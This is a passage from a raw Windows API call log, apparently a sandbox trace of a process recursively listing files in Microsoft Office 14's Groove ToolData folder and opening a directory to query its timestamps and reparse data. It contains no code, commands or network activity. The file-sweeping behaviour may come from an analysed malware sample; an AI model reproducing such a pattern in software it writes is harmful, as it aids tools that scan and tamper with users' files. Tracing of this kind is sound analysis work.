lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa769da00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa769da00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELETE.GIF", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x369, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERROR.GIF", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77e3c400, ftCreationTime.dwHighDateTime=0x1ca5dc0, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77e3c400, ftLastWriteTime.dwHighDateTime=0x1ca5dc0, nFileSizeHigh=0x0, nFileSizeLow=0x14484, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.JS", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBlankPage.html", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x829, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBrowserUpgrade.html", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsColorChart.html", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsFormTemplate.html", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69fe8900, ftCreationTime.dwHighDateTime=0x1c7d303, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69fe8900, ftLastWriteTime.dwHighDateTime=0x1c7d303, nFileSizeHigh=0x0, nFileSizeLow=0x13c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsFormTemplateRTL.html", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsImageTemplate.html", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52942450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x858, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsMacroTemplate.html", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x46ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPreviewTemplate.html", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x797dd200, ftCreationTime.dwHighDateTime=0x1c7d303, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x797dd200, ftLastWriteTime.dwHighDateTime=0x1c7d303, nFileSizeHigh=0x0, nFileSizeLow=0x4709, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPreviewTemplateRTL.html", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplate.html", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e4800, ftCreationTime.dwHighDateTime=0x1c7d303, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2e4800, ftLastWriteTime.dwHighDateTime=0x1c7d303, nFileSizeHigh=0x0, nFileSizeLow=0x5c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplateRTL.html", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f34200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0f34200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1499, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x26b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_edit.js", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14316, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathWelcomeImage.jpg", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAUNCH.GIF", cAlternateFileName="")) returned 1 [0079.041] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x418f4a00, ftCreationTime.dwHighDateTime=0x1c9fe9d, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x418f4a00, ftLastWriteTime.dwHighDateTime=0x1c9fe9d, nFileSizeHigh=0x0, nFileSizeLow=0x30074, dwReserved0=0x0, dwReserved1=0x0, cFileName="macroprogress.gif", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a76b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x275e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicFunctions.js", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignleft.gif", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignright.gif", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x365, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_bullets.gif", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_center.gif", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3031bc00, ftCreationTime.dwHighDateTime=0x1ca033b, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3031bc00, ftLastWriteTime.dwHighDateTime=0x1ca033b, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosecolor.gif", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_decreaseindent.gif", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_hyperlink.gif", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_increaseindent.gif", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_justify.gif", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x373, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_pressed.gif", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58b9b600, ftCreationTime.dwHighDateTime=0x1ca033b, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58b9b600, ftLastWriteTime.dwHighDateTime=0x1ca033b, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVE.GIF", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27739b00, ftCreationTime.dwHighDateTime=0x1ca408b, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27739b00, ftLastWriteTime.dwHighDateTime=0x1ca408b, nFileSizeHigh=0x0, nFileSizeLow=0x15162, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xefe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="utilityfunctions.js", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b43100, ftCreationTime.dwHighDateTime=0x1ca0352, ftLastAccessTime.dwLowDateTime=0x5e4444b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53b43100, ftLastWriteTime.dwHighDateTime=0x1ca0352, nFileSizeHigh=0x0, nFileSizeLow=0x75aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="")) returned 1 [0079.042] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b43100, ftCreationTime.dwHighDateTime=0x1ca0352, ftLastAccessTime.dwLowDateTime=0x5e4444b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53b43100, ftLastWriteTime.dwHighDateTime=0x1ca0352, nFileSizeHigh=0x0, nFileSizeLow=0x75aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="")) returned 0 [0079.042] GetLastError () returned 0x12 [0079.042] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0079.043] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveProjectToolset", cAlternateFileName="")) returned 1 [0079.043] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0079.043] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0079.043] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0079.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0079.043] NtClose (Handle=0x170) returned 0x0 [0079.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0079.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0079.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8270 [0079.044] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0079.045] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.046] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x140b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BriefcaseIcon.jpg", cAlternateFileName="")) returned 1 [0079.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8378 [0079.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8e60 [0079.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11da038 [0079.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.047] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf76, dwReserved0=0x0, dwReserved1=0x0, cFileName="BriefcaseIconMask.bmp", cAlternateFileName="")) returned 1 [0079.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8e80 [0079.048] 